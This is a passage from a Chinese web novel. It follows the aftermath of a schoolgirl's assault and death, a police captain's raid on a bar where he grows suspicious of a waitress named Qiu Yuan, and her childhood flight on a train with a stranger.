江岩从楼道另一头走过来,看到一个身影消失在楼梯口,感觉有些眼熟,他突然意识到什么,快步冲到病房推开门,好在妹妹没事。母亲看他心急的摸样还有些许的不解,他坐在妹妹床前,眼泪在眼眶里打转,他只敢在妹妹睡着的时候来看她,不然会吓到妹妹。她怪他恨他讨厌他,以前不是这样的。她以前很黏他,也总是欺负他,可现在看他的眼神里只有惊恐。
母子俩相视无言。
他该去接她的,要是去接她,也不会发生这样的事……都怪他。
片刻后,医生和护士进去,没一会儿江母和医生一起说着什么向走廊另一头走去。
没多久一个戴口罩的护士推门进来,江岩随即拭去了泪珠。护士说是江母让他去医生办公室,要商量给江黎做手术的事宜。他不放心妹妹一个人,一般都是他和母亲轮流守在病房,可看护士的意思还挺急切。父亲去了警局,医院里的事都是母亲和他商量再告知父亲。思索片刻再三跟护士确认妹妹状态稳定,特意叮嘱留下护士在病房内才离开。
空荡荡的走廊他走了很久,他多希望这条路没有尽头,而不用思考妹妹接下来的人生,脑海里一团糟,他宁愿父亲当时臭骂一顿狠揍他一顿,要不是他当时没有去接妹妹,也不致发生这样的事,他有多后悔就有多恨自己。
沈泠坐在住院部楼下的长椅上,护士推着年迈的病人,妻子搀扶着丈夫,轮椅里蜷缩着幼童。生和死,年龄长短在这里也模糊了界线,生命那么脆弱,她什么用处都没有,连帮助了
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自己的同学都救不了。
一个男的走向另一侧停着的车,沈泠侧目时正好注意到他停在车前,对那个身影,突然有种说不上来的感觉堵在心口,那人坐上后排座位,她看到那辆车的车牌号,心里默念了一遍。
不知哪里发出的异响,几个护士从身后匆匆跑过,她站起身发现远处楼下围了很多人,她认出了跑过来的江岩,不好的预感在蔓延。江岩冲过他们,扑倒在地上,几个医生和护士围在一起,他们挡住了地上的人,却挡不住地上蔓延出的血,和盛夏的阳光一样刺眼。
沈泠像一个旁观者一样默默注视着,看着眼前发生的一幕,嘶吼声,哭喊声,私语声,鲜亮的血色,嘈杂的人群,一切都慢慢泛白,曝光,变得模糊不清。
江黎当场死亡。那些血没能回到她体内,她也没能再回到原本的生活中。这次,真的是什么挽回的机会都没有了。
犯人请了当地最好的律师,江家不满犯人十年刑期提出诉讼,势必要处死犯人。这场□□案演变为命案,一时间在当地议论纷纷。
与此同时沈泠的生活也不再安宁,很多人都认为江黎的遭遇跟她脱不了干系,看她的眼神就像看□□犯,她总是从自己的抽屉里和座位上发现不明物体,恶心甚至是惊吓到她,连老师都在课上故意刁难她让她难堪,她像一个异类,被排斥被厌恶着。
母亲更是漠然,听闻传言后非但没有关心她心里怎么想,反而为这个家有她这样的人存在着而感到羞耻,对她有意无意地找茬,处处针锋相对。父亲无奈地叹口气,趁母亲不在时解释道她也是因为在外面听得别人流言跟别人解释吵架才会这般气愤。
沈泠若无其事地点点头,憋着眼眶里的泪躲到房间里才敢嘘声哭出来。
江黎死后的第五天,沈泠放学一个人走在路上。最近总感觉身后有人跟着,该找上门的人还是找来了。她故意绕远还是没能甩掉跟踪的人,不知怎地绕到了水边,桥面上背后的脚步声愈发清楚。不论是谁,终于来了。
回头一看是沈榕,这让她始料未及。
“我问你,你跟江黎的事有没有关系?”
沈泠躲闪着目光,她没办法说一切跟她没有关系,没办法把自己撇得一干二净。
“别跟我说瞎话,江黎出事那天晚上你一夜没有回家,我跟爸妈说你去同学家,可你那天晚上到底去哪儿了?”
“我……”一阵沉默。
“你说呀你!从小到大都是这样!你是聋子还是哑巴还是傻子!别人说什么就是什么,骂你说你坏话你不会骂回去呀!有没有关系你不解释谁会知道!什么都不说谁知道到底怎么回事!”
沈榕看着依旧沉默不语低头不知干嘛的沈泠,心里更是气愤,出手抓着她的肩膀晃,“我问你呢你说不说!那天到底发生了什么!你是包庇□□犯还是有什么!你认识那个坏人还是怎样!”
沈泠躲闪着想要挣脱,被沈榕一步步逼近护栏,一个没站稳跌了下去。
沈榕惊慌失措地站在原地,水下什么动静都没有,望向周围此时没有人也没有车辆经过,她的双手止不住地颤抖,犹豫了足足两分钟,狠了狠心朝家的方向跑。
那个夏天闹得沸沸扬扬的□□案,最终以受害人江黎跳楼自杀身亡,罪犯入狱画上了休止符,但流言远不止此。
沈泠被传与□□犯有瓜葛,在江黎死后受不了良心的煎熬,愧疚跳河自杀。
5. 黑色飞鸦 01
须燕市东区,值班民警接到一起报警电话,城边的一处酒吧发生聚众斗殴事件,附近巡逻的两位新手民警率先赶了过去。但一到现场,不仅人数上实属有些薄弱,气势上更是难以压制这群被酒精麻痹了的疯子,新手民警经验不足,出警五分钟了,这场骚乱愣是没有丝毫减弱的趋势。
在二人一筹莫展之际,酒吧的大门“砰”地一声被撞开了,紧接着一小队训练有序的人蜂拥而至,为首的警察大步走进来环视一圈,本就难看的脸色,愈加发冷,就近拉起人群外围一个醉酒之人的衣领,眼疾手快抢下了他手里挥舞着的酒瓶子,朝着他的脑袋砸了下去,把他吓得一激灵,瞬间酒醒,而那酒瓶子就停在自己眼跟前,咫尺距离,还没反应过来,那酒瓶子一下子又被砸到地上摔了个稀碎,男人松了手,醉汉双腿发软软绵绵地瘫坐在了地上,不知何时躲在了无人顾及的角落里蜷缩一团。
随即,男人示意身后的人先去把音乐关了,然后把这群肾上激素飙升的人各个击破。
不过几分钟的功夫,除了酒吧里蓝紫色的灯光晃得人心烦意乱,参与骚动的人已全部被拿下。众人杵在原地,有的面面相觑,也有意识不清四躺八仰着得,又或是心怀鬼胎不安好心,但这一瞬间,安静得让众人心里直打鼓。
一个新手警察从人群堆里挤了出来,衣衫不整,哈着腰跑到那人身旁,气喘吁吁地连连致歉,“江队对不住对不住,这场面我们俩人没压住真是抱歉,还劳您亲自过来,太谢谢您了。”
这位被称为江队的人,脸色已有几分缓和,四下环顾,并未把那人的话放在心上,语调尽量提了一些,也就他自己觉得没那么不近人情可,说道:“行了,我这边出任务正好碰上,知道你们镇不住。”说着揪住身边一晃悠的戴眼镜警察,趴在他耳边不知说了什么。眼镜警察点点头,带着几个人把整个酒吧仔细检查了一遍。
“江队您这是,要查什么?”新手警察问道。
江队抬起手打住了他的继续发问,走到一处吧台侧面一隐蔽的楼梯,抬头端详了几秒,正准备抬脚,一个穿酒吧制服的人快步挡在他面前,问道:“江队长这是?”
江队故作惊讶地说:“哟,陆先生,原来你在啊,怎的今儿你在场还发生这事儿?”
陆先生面不改色,微眯着眼,嘴角一丝笑意似有似无,客客气气地说:“江队长,您言重了,这儿本就是酒吧,喝醉酒的人容易上头,冲撞起来岂不是常事,怎是我能掌控的,还多亏了您,把我们这小店保住了,要不然还不知要闹到什么地步。”
江队冷笑一声,知道他不是真心感谢,眼神冷峻了许多,“那你这……”说着侧头瞥了一眼他身后的楼梯,“什么情况?”
陆先生毕恭毕敬地回答,“楼上虽然也在我名下,但毕竟是私人住宅,还是多有不便。江队长若实在不放心,我也定当极力配合您的工作,您可随我一道,上去瞧瞧。”说着侧身退了一步让开一条路。
这时眼镜警察溜到江队身后,附在他耳旁低声说了什么,江队紧盯着这位陆先生,抬手招呼道,“打架的人,都带回去醒醒酒,你跟我上去。陆先生,打扰了。”
末了还假仁假义。
“您言重了。”
果然如他所料,楼上干净得什么也没有,他巡视一周,倒像是有人生活得样子,整洁,有秩序,但未免,太正常了,在酒吧这地儿。
江队大步流星地离开了,眼镜男小赶两步追了上去,跟在他身后,低声喊了一句“江队?”
江队嘴角带着笑,眼底却是冰冷,自嘲道:“有备而来,不定替他除了什么麻烦。”
说完往门外走去,走了两步又突然停住了,眼睛男顺着他的视线望去,只堪堪瞅见一个人影溜进了杂物间,身上穿着的,应该是酒吧服务员的男式制服。
江队旋步走了回来,开口问道:“刚那姑娘谁?叫出来。”
陆先生闻言,让身旁不知所措的一服务员去叫人,脸上仍满是坦荡,依旧好声好气地问道:“江队长,怎么对我店里的人,也有兴趣?”
江队没搭话,脚尖点了几下地板,活像蓄势待发的猎豹,犀利的眼神紧盯着杂货间的门,直到那位姑娘从门里走出来。
那一瞬间,江队敏锐地抓住了她眼里一闪而过的诧异,眼看着她随即又换上了一副无辜无知的面容,等她走近,眼前这位梳着高马尾的姑娘,他感觉似乎见过这人。
“橘子酒吧,还有女服务员?”
姑娘微微侧头,眉眼弯弯透露着些许笑意,丝毫看不出那一瞬的异样,“是吗?警察同志,看来您消息不够灵敏啊,站在您面前的,我这不就是吗?”
江队的眼神冷凝起来,点点头说道:“好,身份证呢?”
“您稍等。”
姑娘去更衣室取了身份证,视线微低,双手递给他。
江队拿着身份证仔细端详,证件上显示的年龄比他还要大一岁,“岭城人?什么时候来这儿的?”
“来这儿有两年多了。”
“听口音,不像啊?”他抬眼看向面前的人。
姑娘笑得更欢了,说道:“您这是夸奖我吗?别的不会,我这学说话的本事,倒是挺稀罕的,没想到把您给骗到了。”
江队又看了一眼身份证上的名字,“秋原?”
“嗯呐。”
“照片不像你啊。”
姑娘微微捂住嘴以免笑得太过,“女大十八变啊,早几年拍的了,要一模一样了,那才奇怪了,不是吗?”
江队冷峻着脸把身份证递给姑娘,转身离开。
出了酒吧门,江队回头看了一眼,对眼镜男说:“那个女人,给我好好查查。”
“是。”
看着江队的背影消失,名唤秋原的姑娘,脸上的笑容也渐渐散去,面无表情似乎钉着旁人勿扰的
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牌子,跟之前能说会道的模样判若两人。
“看不出来啊,你还有这见人说人话,见鬼说鬼话的本事。”冯麦慢悠悠地走到吧台,顺势坐在高凳上,装着酒的杯子随手放在吧台上,脖子里挂着一副大红色的耳机。
秋原没理他,头也没抬,继续手上的清理工作。
陆先生跟几个服务员吩咐了事情,回头正巧撞到了这一幕,拍了一下冯麦的脑袋,“说什么呢,这么闲把玻璃渣子收拾了。”
一听有活儿干,冯麦的脸都耷拉下来了,撅着嘴一脸的不情愿,“川哥我这儿刚干了一架死里逃生的,你就不能让我缓缓。”
陆川毫不留情面地揭穿他,“你干什么架了?让你盯着跑哪儿盯去了?还有,谁允许你喝酒了?”说着顺走了酒杯。
冯麦嘟着嘴,痛心那杯被夺走的好酒,在陆川背后呲牙咧嘴地作势要扑他。
陆川语调温和地说:“秋原,不用你收拾,我不是让你今天早点回去吗?”
秋原直起身,还有些拘谨,微低着头,说道:“我回去也没事,倒不如留在这儿做点事。”
听她这么说,陆川便不再躲说什么了,安排好店里的事宜,突然听闻后门有些动静,于是从吧台侧面的楼梯上楼去了。
二楼的空间很大,和一楼一样都是后期自行改造过的格局,整体上分成了两大间,起居餐厨卫各自独立一应俱全。
右侧房门开着,内里客厅通着餐厨,类似于巨大的活动室,最显眼的莫过于一张长桌,实木做的一看就很有分量。陆川敲了敲左侧房门,推门进去后随手带上了。
“人都已经被带走了,楼下正在收拾。”
这侧房屋巨大的窗户采光效果极好,遇上晴朗的夜晚,即便没有亮灯,月光照进来也是通亮,此时从楼道里偷溜进来的刺眼白光又被硬生生挤了出去。
窗前站着的人把外套丢在沙发上,拿起酒壶倒了杯酒,拿在手里盯着外面看了一会儿,才说道:“好我知道了。”
“这次直接借用警察之手,会不会太冒险?”
“钱域这个人,得给他点警告了。”
陆川掂量了这句话,明白他这么做自有他的考量,便不再多说,本打算退出去,突然想起什么,“有件事,你可能需要知道。”
“什么?”
“江队长,对秋原很感兴趣。”
他闭眼抿了口杯中的酒,听闻这话慢慢睁开了双眼,“秋原?”这一个词让他想起很多很多,最后也只简单说道:“你多留意,有问题再说。”
“明白。”
陆川离开后,屋内又陷入了寂静。今夜楼下的音响关了,很久没过如此安静的夜晚了,突然之间还有些不适应。
他躺在窗前的躺椅上,重新闭上双眼,此刻的他并未感到困乏,但可能是这般适合思考的时刻实为罕见,思绪也慢慢交织缠绕,和记忆晕染在一团,牵扯不清。
6. 黑色飞鸦 02
“孩子你不能进!”
“这谁家的孩子!大人呢?”
男人的腿被抓住,他低头看到一个瘦瘦小小的女孩抱着他的腿,半跪在地上,回头望了一眼追上来的工作人员,旋即起身往男子兜里塞了一卷红色的东西,低声说:“钱都给你帮我个忙,把我带上,只要能离开这儿我绝不纠缠你。”
言语成熟得根本不像丁点大的女孩。
她轻声说得飞快,男人倒也听明白了,既无热心也无精力,打算强行拉开她的手,谁知女孩子一下子破开嗓子哭了起来,“爸我要跟你一起别丢下我!求你了!”
话音里带着哭腔楚楚可怜。
身后进站的妇女看着这一幕有些于心不忍,“做家长的怎么能这么对孩子?有啥事都不能让孩子受罪!”
“这位先生,这是什么情况?”
见男人不答,工作人员也不得不重视起来,语气也严肃了起来,“恐怕需要你跟我们走一趟。”
女孩抓着他的手不放,娇滴滴的声音轻唤,“爸爸,我想跟你一起走。”
男人看了一眼女孩,目光直视说话的工作人员,“抱歉,”说着单手把她抱起来,“这孩子黏人,出差都不舍得我走,上车给她补票?”
说话间检票口涌进来一群人。
“行,我会跟列车员联系一下,你之后注意,孩子一个人跑出来多危险。”
男人微微示意抱着女孩往站台走去。
快到站台一头时,进站口又是一阵骚动。女孩看到进站口的人即把脸埋在男人肩头,他眯起眼看了一眼,几个穿黑衣服叫嚣着的人被警务拦着,看阵势怕是要大打出手。
他抱着女孩进了车厢,把她放在靠窗座位上,另一只手上的行李箱放在行李架上。女孩怯生生的目光随着他转动,男人看她时,她又飞快地看向别处。
说实话他的心情不怎么样,更没心思跟警察纠缠,眼前这个小孩无疑是敲在他软肋上,他摸出大衣口袋里的东西,不知这小孩从哪里搞来的钱,一沓百元大钞。
车厢里人不多,他站在座位前压低声音说:“这钱你自己拿着。”说着放在姑娘面前的小桌板上。
姑娘看了眼钱,猛地抬头注视着他,“这,这钱是干净的!”话音间带有克制着的哭腔。
男人自觉摊上了个麻烦,“我带你下车,到站后不要再跟着我。”
得知男人并没有想把她丢下去,女孩这才松了口气,两只小手颤巍巍地把桌上的钱收进兜里,余光瞥向男人。
列车缓慢发动,窗外的荒地慢慢后移,远处悬着的太阳也融化在薄云之中。
女孩忧心忡忡地望着窗外,神色凝重,丝毫不见这个年纪该有的天真和喜悦。她的成熟和老练都显得稚嫩,与本人格格不入,像是未成熟的玫瑰,强行嫁接在了快衰败的月季枝丫上。
不知从哪里跑来的熊孩子在过道里跑来跑去,已经撞到了男人两次,刺溜一下又跑远了。
小男孩抱着杯水,又一次咋咋呼呼冲了过来,一个没站稳,水泼在男人大衣上,额头磕出一片红,熊孩子自知犯错,头上的伤也顾不得,拔腿就要跑,却被男人揪住了衣领,放在对面的空位置上。
姑娘感觉得出男人身上的不高兴,看着他单手掐着小男孩的脖子。男孩哇哇大哭,手脚并施想挣脱开,男人力气极大,纹丝不动地任由他折腾。
不远处几个人注意到哭声纷纷往这边瞧,男人低声冷冷说道:“再乱跑,打断你的腿,听明白没?”
说完松了手,男孩一溜烟哭着跑没影了。
女孩紧绷的心弦这才放松下来,小心翼翼地蜷缩在一旁,尽量不发出声响,不去惹到身旁可怕的人。
没几分钟,传来女人的叫骂声,混着男孩的哭声,愈来愈近。
“就是你打伤的我儿子?啊?”女人宽宽胖胖的身子占满了整个过道,说话间粗胖的胳膊在空中乱舞,谁挨上一下可能都不会好受,男孩躲在她身后想拉着她走。
“你这孩子,老娘让你去玩是让你挨打去了?你,说的就是你,老大不小的人了,看着人模狗样的,小孩子也敢下手打?给我儿子脸上留了疤怎么办?你赔得起吗?啊?”
男人没理她,帽子压得低基本上挡住了脸,保持着闭目养神的姿态一动不动。
女人骂骂咧咧地看他没反应,就要动手掀开他的帽子,姑娘一下子扑上去抓住她的手,挡在男人面前,“阿姨,小弟弟头上的伤是他自己摔的,要是追究责任的话,那就连他撞到我胳膊上的伤也一起算吧。”
说着挽起袖子,露出整个充血肿胀的手臂。
“谁知道你这伤是不是我儿子撞的?想讹人啊?你这就是血口喷人!小小姑娘不学好!有娘生没娘教的,一身骚气!”
“是不是您问问小弟弟不就知道了,要是他承认撞到人的话,还希望您,好好承认错误。”
女人听闻气不打一出来,揪着她儿子的耳朵大骂道,“说!这是不是你干的好事?不是就赶紧给老娘大声说出来!”
男孩惊恐地站在她身后,四下游离的目光一下子撞到男人帽檐下的眼神,吓得腿都软了,害怕得连话都不敢说,摇摇头觉得不对又点点头。
胖女人气得连连拍了几下男孩的头,“小孩子又不知轻重,别跟孩子一般见识。”说着推搡着他赶紧走,看热闹的人也都扫兴而归。
姑娘轻手轻脚地回到座位上,留意到男人没什么异常,松懈下来趴在小桌上,盯着太阳的目光逐渐失了焦点,终于沉重地闭上了。
男人瞥了她一眼,看不出来说谎话的本事还不赖。
女孩儿突然惊醒,沉重的气息一时间难以平复,思绪还未从刚才的梦境中挣脱出来,搅扰得人煎熬。此时窗外已一片漆黑,列车里昏暗的灯光散发着热量,维持着一种沉重而虚晃的节奏,放眼望去几乎所有人都睡了。
身旁座位空的,男人不见踪影,姑娘噌地站起来,脚下被什么东西绊住,发现地上放着男人的行李箱,没有盖紧。
她往车厢一侧走去,有一个躺在地上抽烟的人吓了她一跳,她小跑着回来往另一侧走去,男人站在车门前,背对着她,一只手抓着把手,看样子攥得很紧。
“混蛋我没跟你开玩笑,你把东西放哪儿了?”
片刻后男人骂了句脏话挂掉了电话,拳头捶在车厢壁上,女孩的心脏也跟着缩紧。
“那个……”她的声音格外细小,尤其是混在火车前进发出的巨大杂音中。
男人艰难地回头,眼神中满是恶狠,咬着牙挤出两字,“回去。”
女孩吓得浑身发抖退了一步,一下子不知道该怎么办,伫立在原地。
男人呼吸急促,整个人紧绷着,还有些轻微地颤抖,肩膀靠着车厢滑到了地上。
这时从车厢一侧过来两个乘警,女孩见机抱着男人,小声哭了起来。
“怎么回事儿?”
女孩挡在男人面前,泪眼婆娑地对乘警说:“妈妈不要我跟爸爸了……”
两年轻乘警没什么经验,一时间不知该说什么,相互看了一眼,“别,别那么伤心,你还有你爸爸呢,天这么晚了好好睡上一觉,明早什么事都过去了。”
“就是就是,来我们帮你爸爸回到座位上。”
女孩含
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着泪点头,格外诚恳地说:“谢谢叔叔们,让爸爸一个人待会,我会看好爸爸的。”
一乘警感动得摸摸她的脑袋,“真是个乖孩子!”
女孩看着两乘警走远,拿袖子擦干了眼泪,回头看到男人正看着她,他的眼睛在昏暗中很亮,像是狼的眼睛,让她想到一个词,炯炯有神。
“你是水做的吗?说哭就哭。”
女孩没听出他这句话的打趣,紧张兮兮摆着手地说:“我,我不哭了,不哭了。”
男人可能想笑,但眼前的状况并不乐观,额头直冒冷汗,四肢也渐渐乏力。女孩把他扶到座位上,让他靠着窗户。男人双眼紧闭,看样子并不好受。
女孩把行李箱盖好,推在座椅下,坐在他对面,紧张兮兮地看护着他。
睡梦中,女孩被人追,一直跑一直跑,路没有尽头,坏人也穷追不舍。醒来时天已亮了,她蜷缩在座椅上,身上盖着件黑色大衣。
男人在她对面正襟危坐,车厢里的人已经重新活跃起来,车窗外的高矮建筑此起彼伏。
女孩抱着留有余温的衣服,脸上的泪痕还很明显,呆呆地坐了一会儿,才感觉大脑苏醒过来,她把大衣给对面的人披上,男人抬手接过,说了句“快到了。”
女孩悻悻地坐回去,果然车速减慢,到站了。
男人拿着行李走在前面,女孩小跑着跟在其后。出了站,放眼望去熙熙攘攘的人群,一大早就十分热闹,什么时候都不会冷清的地方,也只有车站了。
一个老太太突然倒在女孩面前,“哎呦,小姑娘怎么走路不看人呐?”
女孩看了一眼几步开外的男人,男人听到动静停下来回头看。
路过的人也来凑热闹,老太太在地上呻吟得格外生动。
“哎小姑娘把人撞了还不赶紧扶起来?”
“就是,赶紧让大人带着去看看。”
“老人家这么老了摔这一下可不得了。”
一凑热闹的精瘦男人指着几步远的男人说:“还不带着老人去看看!你家闺女撞人啦!”
女孩看了看他,大声说:“我不认识那人,你怎么知道我跟谁一起的?”
精瘦男人撇撇嘴不再言语,男人看了看地上躺着纠缠的老太,又看了看女孩,她望着他的目光很坚定,男人面无表情转身走了。
出了人群,迎面走来一个男人接过他手里的行李,看了一眼围着的人群,没有多说什么。
精瘦男人不肯放弃在一旁煽风点火,惹得周围人也西一句东一句斥责着女孩,女孩坐在地上距离老太太一米远,不言不语就这么坐着。
没多久不知有谁说“太好了警察来了!”
听到警察这一字眼精瘦男人立马混在人群里溜了,老太太也不知从何来的气力,之前弱不禁风此刻一股脑爬了起来,絮叨叨说着什么也走了。
值班警察过来把女孩扶起来,“什么情况?”
“一老太太倒我面前,不让我走。”
“是不是还有个瘦个男的?”
女孩点点头。
“果然是他们!”说完小声跟身旁的警察吩咐了什么,两三个人往人群里去了。
“姑娘你没事吧?这几个人我们盯了很久了,在广场这种人多的场合多次联合作案敲诈讹人,已经得手多次,你怎么样?”
“我没事。”
“你家长呢?怎么一个人在火车站?”
女孩这才望了周围,表现得很冷静,“我和同学约好在这儿碰面,他还没来。”
警察又问了几个关于老太太和那个男的的事,确认女孩不是走失,这才让她离开。
7. 黑色飞鸦 03
男人睁开眼,一时间竟觉得窗外的月光有些刺眼,揉了揉太阳穴,抬手去拿桌上的茶杯,没估量好距离,茶杯倒在了地上,水洒了一片。
有人敲了敲房门,没有进来。
“进来。”
等他发话,门被推开了一道缝,焦灼的灯光直射进来,秋原站在那道光里形成巨大的阴影。
“门关上。”
秋原关上了门,“我听到什么声音。”
“茶杯。”
“我去换一杯。”说着转身出去,不出片刻拿着抹布回来。
“天晚了我换了杯蜂蜜水。”她把杯子放在桌上,用抹布把地上的水渍擦干,茶叶包在抹布里,起身时带上了茶杯,收拾好这些后转身离开。
到门口时,她停了下来,侧过身来,她的目光不知望向了何处,昏暗中有些迷离,“你没什么要问我的吗?”
片刻后,男人似乎才接收到这个问题,懒散地作出回应,也只简单的两字,“没有。”
秋原低头看了看手里的东西,想说什么又不想说,带上门出去了。
后半夜里路上鲜有行人,秋原走得很慢,像是沉溺在无垠的思索中,双腿机械地一步一步交替,影子在街上拉得老长,很有节奏地一下一振。
身后传来异响,她迅速回头,空荡荡的街上一个人影也没有,她盯着那些阴影看了足足有三分钟,这才转身接着走,这回不同于之前,她走得很快,带起的风声沙沙作响。
秋原进了楼道里,靠在墙面上喘着粗气,定了定神,轻手轻脚地走到二楼一室门前,力度不大不小地连着敲了几下,从楼下可以看得二楼的灯亮了。
无人注视的地方,藏身于黑暗的阴影退去了。
秋原躲在三楼楼梯口,过了二十多分钟,才慢悠悠地下楼,她住的地方离这栋楼还隔着几栋楼,鱼龙混杂的合租房。
穿过堆满杂物脏兮兮的楼道,从兜里摸出钥匙,开了两道锁进了屋,随即反锁上门,她没有开灯,借着窗外的月光能大致看出整个房子的格局。
房间很小,一室一卫的布局,一张一米五的小床靠在墙角,窗前的小沙发前铺着块旧地毯,屋里家具不多,很多杂乱的东西就这么四下丢在在堆砌着的纸箱子上。
秋原摸黑中洗了把脸,鞋子一脱栽在沙发里,好像还磕到了额头,她没顾上看,眼皮沉重地不听使唤,大脑混乱成一锅粥,即刻就陷入了混沌中难以自拔。
汹涌而来的水四面扑来,永无休止的追逐,熊熊燃烧的大火,水与火互相胶着,都想活吞了她,一个趔趄从梦中惊醒,重心不稳摔在地上。
窗外天已大亮,照进来的白光格外刺眼。她起身拉上窗帘,坐在地上背靠沙发边,点着一根烟,吸了两口,保持着此时的姿势静止不动,只有慢慢灼烧的烟头,证明着时间在流逝。她愣愣地坐了好久,这才觉得嗓子很干,茶几上的水杯已经空了,水渍在杯身上留下深深浅浅的痕迹,她起身倒了水,咕咚咕咚一口气喝完,墙上挂着表,两点三刻,这一觉睡得够久。
秋原彻底清醒过来,已经四点过半了,动身收整了乱糟糟的房间,把脏衣服扔进洗衣机里,洗衣机看样子用得有些年月,声音轰隆隆地很响,说不准下一秒就罢工不干了。
洗了澡出来,头发还在滴水,吊带上衣被浸湿了大半,她简单擦了擦,随手把半干的毛巾丢在沙发上,去捞洗好的衣服。太阳已日落西山,她趴在护栏上盯着太阳出神,微风轻轻扫过她周身,温柔得不可思议,撩动着悬挂的衣服。
她贪婪地呼吸着,想把纯净的空气都吸进肚子里,嘴角挂着似有似无的笑,就像是胜者对世人无情的嘲讽。那一刻她沉醉于风中,沉醉于落日余晖中,也只有那片刻光景,令她感觉自己真真切切地活着,是一个完整正常的人,顶天立地地活在人世间。
胃里一阵绞痛,发出抗议似的,她这才想起了吃饭这事。回到屋里,从一堆杂货中翻出不知多久前屯的方便面,提了下水壶凉白开也所剩无几。烧上热水,水还没开突然断了电,她深吸一口气倒了满满一碗水。
方便面更像是被水泡发了,吃到最后令人犯恶,她还是逼着自己吃完了。
六点过五分,起身出门,她扫了一眼门口墙上的挂历,一个月后的一天被标注有巨大的红叉,她回头环顾了一圈屋子,这才开了门。大概面没有泡开的缘故,肚子很不舒服。
等到六点半,她就能到橘子酒吧,在休息室换上工作服,开始一天的工作。这基本上是她每天的生活节奏,昼伏夜出。
“哟,今儿披头散发的?不能因为你是女生就这么不注意形象啊?”一进门,冯麦就迎面来了这么一句。
秋原看了他一眼,洗过的头发还没有干透,抬手用手腕上的黑皮筋绑上了头发。
冯麦坐在高凳上依依不饶,“你就这么拾掇自己?哪像个女孩子呀?你看看大街上的女孩谁跟你一样。”
吧台内的一高大壮实的男人正细致地擦着酒杯,不留痕迹地打断他的话,张口温和道,“过来添几瓶酒。”
秋原冲那人浅笑一下以示感谢,溜进了休息室。
“南哥你怎么,这出去一趟刚回来,怎么就向着她了?还是不是我哥了?”冯麦摆弄着手里的吉他,是不是撩拨几下,发出断断续续的低鸣声。
“秋原都来这么长时间了,你还这么孩子气。”耿山南仔细地擦着玻璃杯,像是在保养一件价格不菲的珍品。
冯麦细长的手指突然划过整个音弦,发出一声刺响,手掌按在弦上,声音嘎然而止,“南哥,你又不是不知道,康哥当初可是明令禁止再招女生来酒吧的!”
耿山南放下一件完成品,叠好手里的毛巾,“秋原也是静山同意留下的。”
冯麦一下子泄了气,“我就不明白了,好好的干嘛非得找个女生,真不知道康哥怎么想的。”
耿山南不经意间笑了,低头之间又把那抹笑意隐去,慢条斯理地说道:“静山的决定,自有他的道理。”
秋原悄悄把休息室的门闭紧,靠在门上,听着外面的动静,确认外面没有人。洗完头没有擦,直到现在头发还有些潮,她先换好了衣服,抽下皮筋,让头发散落肩头。她望着穿衣镜里的自己,她很少照镜子,只觉得镜子里的人陌生。
这两
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年她长高了不少,皮肤发白看着有些营养不良,脸颊瘦削,没胸没屁股,直愣愣得像是根杆。这副穷酸样,怕是到了哪里都不会招人待见。
她看得出冯麦不喜欢自己,可能这个店里没有人会喜欢,至少都还留着面子从未表露出什么,唯独冯麦,大概真的是年纪小,肚子里藏不住话,什么事都直来直往毫不嘴下留情。
不过对这个大男孩,除了时不时难以招架的挑刺,她更多的是欣赏。冯麦天赋异禀,迷恋音乐,这世上能打动他的除了康静山,也就只有音乐了。
秋原零星听得些关于冯麦的事,很难把闻言中的故事同身旁的这个男孩联系在一起。他家里穷,父母离婚,母亲在他三岁那年就走了,被游手好闲不务正业的父亲硬生生给气走了。父亲自然对他也是百般嫌弃,所以他从小就跟着奶奶。
奶奶年纪大了,头发斑白,卖菜供他上学,挣得的钱还要维持家用。甚至时不时,还会被那个不争气的父亲抢走仅有的积蓄。
奶奶不是没有说教过父亲,但那个人油盐不进,只知道一次次花言巧语欺骗奶奶,把她手上仅有的钱一次次骗走。早些年还有媒婆看在奶奶的份上帮他物色姑娘家,但他的脾性越加恶劣越加不知收敛,连媒婆都不愿推姑娘家们入火坑。
冯麦还小的时候,奶奶要起很早去进菜,不敢留他一个人在家,就在三轮车车斗里放床被子,把还没睡醒的他卷在被子里,天还不亮就去市场上,一老一少就这么过了很多年。
可冯麦不喜欢读书,上课也听不进去,成绩一直没有起色,直到他上了一节音乐课。他大了些,经常逃课接各种零活赚钱,但这些收入也只是杯水车薪。
学校里的同学不知怎么知道他想学音乐,各种找茬侮辱他。冯麦年轻气盛,心里一直憋着一股气,他需要钱,需要钱学习音乐,需要钱离开当时的生活,最终驱使他去一家高档珠宝店里抢劫。
冯麦个头小腿脚灵活,轻而易举地跑出了店门,但店里的保安穷追不舍,眼看就要被抓住了。那一瞬间他想到了自己的结局,关在狭小幽暗的监狱里孤独终老。
他无法接受。
逃跑的路上撞到了一个人,屁股墩儿着地,怀里揣的首饰撒了一地,他傻傻地仰望着眼前高大的人。似乎那一刻意识到自己大概是没救了,他就坐在那人形成的巨大阴影中,心中比想象中平静多了。原来被抓的心情,是这样的。
比想象中更容易接受。
如果那个人不是康静山,从那时起,冯麦就将永远生活在黑暗中,背负一辈子的谩骂与嘲讽,与他喜欢的音乐再无瓜葛。
但那个人是康静山,给了他重新来过的机会,给了他重生。
后来,康静山出手摆平了这件事,冯麦就一直跟着他。康静山知道他的天赋,给他买各种他想尝试的乐器,送他去专业老师那里学习。
平时冯麦最爱往酒吧跑,偶尔客串一下店里的DJ。明明是个未成年人,酒吧比谁熟悉。他更爱跟在康静山屁股后面,他去哪儿他就跟着去。
店里的人经常开玩笑说他是个跟屁虫,冯麦非但不生气,反而很喜欢这个称谓。
8. 黑色飞鸦 04
江队刚从外面开会回到警局,熬了一天一夜又听了一上午汇报,只想找个板子躺上去睡觉,眼镜男挡在他面前。
江队眼皮重得不行,连连摆摆手,“有什么事晚点再说。”
眼睛男单手扶了下镜框,冷静地说:“高副局找你。”
“高副局?”江队有些诧异,但此时也顾不上这位老领导了,“让他老人家等等。”
听到这话,眼镜男非但没让开路,反而云淡风轻地继续开口道:“关于橘子酒吧和那个女孩的事。”
果然如他所料,这位队长闭上的双眸一下子睁开了,熊猫一样的眼睛瞪着他,炯炯有神,“你是说那个女孩?秋,秋原?”
“是的。”
江队拍拍他的肩膀,紧接着踉跄着往高副局办公室跑,活像个烤鸭子。
“你小心点。”眼镜男看着他东倒西歪险些撞到消防栓上。
副局办公室,江队连门都没敲就冲了进去,高副局正和一老同志聊天,看他如此莽撞地冲进来,脸色一下子冷了,“江岩!怎么没大没小的!”
江岩厚着脸皮笑道,“我这不是听乔如意说,不是,乔树同志说您找我嘛,我这不就赶紧过来报到嘛!”
